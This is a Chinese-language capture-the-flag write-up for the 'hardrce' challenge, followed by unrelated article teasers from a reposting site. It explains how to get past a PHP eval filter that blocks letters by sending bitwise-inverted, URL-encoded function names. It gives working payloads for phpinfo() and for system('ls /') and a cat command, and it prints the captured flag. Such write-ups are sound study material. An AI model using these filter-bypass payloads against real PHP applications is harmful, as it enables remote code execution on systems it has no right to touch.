NSSCTF[SWPUCTF 2021 新生赛]hardrce(无字母RCE)

代码审计:

使用get方式请求给wllm传参

使用preg_match函数正则匹配过滤掉了一些符号

'\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`'

以及 [a-zA-Z] 即所有的大小写字母

如果传入内容满足这些条件则会执行eval函数

URL编码取反绕过正则实现RCE:

直接传入肯定不行

此时我们可以对需要使用的函数进行取反,然后再进行URL 编码;

在发送 payload 的时候将其取反,便可还原代码;

因为取反操作后基本上用的都是不可见字符,所以不会触发正则匹配。

对于没有参数的函数,比如phpinfo();

这里没有过滤括号和分号,所以我们对phpinfo取反编码再取反即可

使用~对phpinfo进行取反操作,再使用urlencode函数对其进行编码

得到 %8F%97%8F%96%91%99%90

构造payload:?wllm=(~%8F%97%8F%96%91%99%90)();   #phpinfo();

传入之后成功回显

注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行。

我们可以验证一下,如果将phpinfo()整体取反编码再取反,是否会执行呢?

得到%8F%97%8F%96%91%99%90%D7%D6

构造payload:?wllm=(~%8F%97%8F%96%91%99%90%D7%D6);   

按道理来说它也是 phpinfo();

但是传入之后发现代码并没有被执行

因此我们在使用这种方法的时候一定要注意满足要求的格式

接下来我们介绍有参数的函数:

同样需要满足上述要求,不同的是需要分别对其中的字符进行编码

比如我们想执行system('ls /');

分别对 system 和 ls / 进行取反、编码,输出"\n"是用来换行

得到

%8C%86%8C%8B%9A%92

%93%8C%DF%D0

再分别对它们再次进行取反操作

构造payload:?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

命令执行成功,发现存在名为flllllaaaaaaggggggg的文件

我们尝试获取它

构造payload: ?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

拿到flag

NSSCTF{36209fa9-5341-4a17-b668-ac020cdee0e6} 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/131078.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【智慧燃气】中国智慧燃气现状、关键问题分析及构架分析!

关键词&#xff1a;智慧燃气、数据分析、数据挖掘、数字燃气、智慧燃气平台 一、智慧燃气发展现状 智慧燃气概述 对于智慧燃气的概念&#xff0c;燃气行业目前并未有统一的定义&#xff0c;基本上还处于各自阐述的阶段。小编认为&#xff0c;城乡智慧燃气系统&#xff08;以…

Web自动化测试工具哪家强? Selenium与Cypress的比较

随着互联网技术在全球范围内的迅速发展&#xff0c;各种基于浏览器的Web应用程序也已成为当今软件开发的主流。围绕如何更好、更有效的测试Web应用的技术也是层出不穷。Cypress和Selenium是目前广泛使用&#xff0c;且很有代表性的两种Web自动化测试工具。互联网上对Cypress和S…

Linux系列---【查看mac地址】

查看mac地址命令 查看所有网卡命令 nmcli connection show 查看物理网卡mac地址 ifconfig 删除网卡 nmcli connection delete virbr0 禁用libvirtd.service systemctl disable libvirtd.service 启用libvirtd.service systemctl enable libvirtd.service

腾讯云2核4G服务器一年和三年价格性能测评

腾讯云轻量2核4G5M服务器&#xff1a;CPU内存流量带宽系统盘性能测评&#xff1a;轻量应用服务器2核4G5M带宽&#xff0c;免费500GB月流量&#xff0c;60GB系统盘SSD盘&#xff0c;5M带宽下载速度可达640KB/秒&#xff0c;流量超额按照0.8元每GB的价格支付流量费&#xff0c;轻…

PHP8的匿名类-PHP8知识详解

PHP8支持通过new class 来实例化一个匿名类。所谓匿名类&#xff0c;就是指没有名称的类&#xff0c;只能在创建时使用new语句来声明它们。 匿名类是一种没有命名的即时类&#xff0c;可以用于简单的对象封装和实现接口。 以下是PHP 8中匿名类的基本语法示例&#xff1a; $ob…

“.NET视频总结:认识框架的结构和组件,掌握开发工具的奥妙“一

目录 第一单元&#xff1a;二十一世纪程序执行 背景: 总结&#xff1a; 第二单元:对象导向与类别设计 背景: 总结&#xff1a; 第三单元&#xff1a;使用类别与基底类别库 总结: 第四单元:Windows开发程序 背景: 总结: 第五单元:防护式程序设计 背景: 总结: 第六…

数字图像处理实验记录一(图像基本灰度变换)

文章目录 基础知识图像是什么样的&#xff1f;1&#xff0c;空间分辨率&#xff0c;灰度分辨率2&#xff0c;灰度图和彩色图的区别3&#xff0c;什么是灰度直方图&#xff1f; 实验要求1&#xff0c;按照灰度变换曲线对图像进行灰度变换2&#xff0c;读入一幅图像&#xff0c;分…

2023品牌新媒体矩阵营销洞察报告:流量内卷下,如何寻找增长新引擎?

近年来&#xff0c;随着移动互联网的发展渗透&#xff0c;短视频、直播的兴起&#xff0c;新消费/新零售、兴趣电商/社交电商等的驱动下&#xff0c;布局线上渠道已成为绝大多数品牌的必然选择。 2022年&#xff0c;越来越多的品牌加入到自运营、自播的行列中&#xff0c;并且从…

速腾激光雷达 RS M1 slam 建图

速腾激光雷达 RS M1 slam 建图

chromium线程模型(1)-普通线程实现(ui和io线程)

通过chromium 官方文档&#xff0c;线程和任务一节我们可以知道 &#xff0c;chromium有两类线程&#xff0c;一类是普通线程&#xff0c;最典型的就是io线程和ui线程。 另一类是 线程池线程。 今天我们先分析普通线程的实现&#xff0c;下一篇文章分析线程池的实现。&#xff…

LeetCode 1517. 查找拥有有效邮箱的用户

题目链接&#xff1a;1517. 查找拥有有效邮箱的用户 题目描述 表: Users Column NameTypeuser_idintnamevarcharmailvarchar user_id 是该表的主键&#xff08;具有唯一值的列&#xff09;。 该表包含了网站已注册用户的信息。有一些电子邮件是无效的。 编写一个解决方案&am…

Python数据分析实战-实现Mann-Whitney U检验(附源码和实现效果)

实现功能 使用scipy.stats模块中的mannwhitneyu函数来实现Mann-Whitney U检验&#xff0c;该检验用于比较两个独立样本的分布是否有显著差异。 实现代码 from scipy.stats import mannwhitneyu# 两个独立样本的数据 group1 [1, 2, 3, 4, 5] group2 [6, 7, 8, 9, 10]# 执行…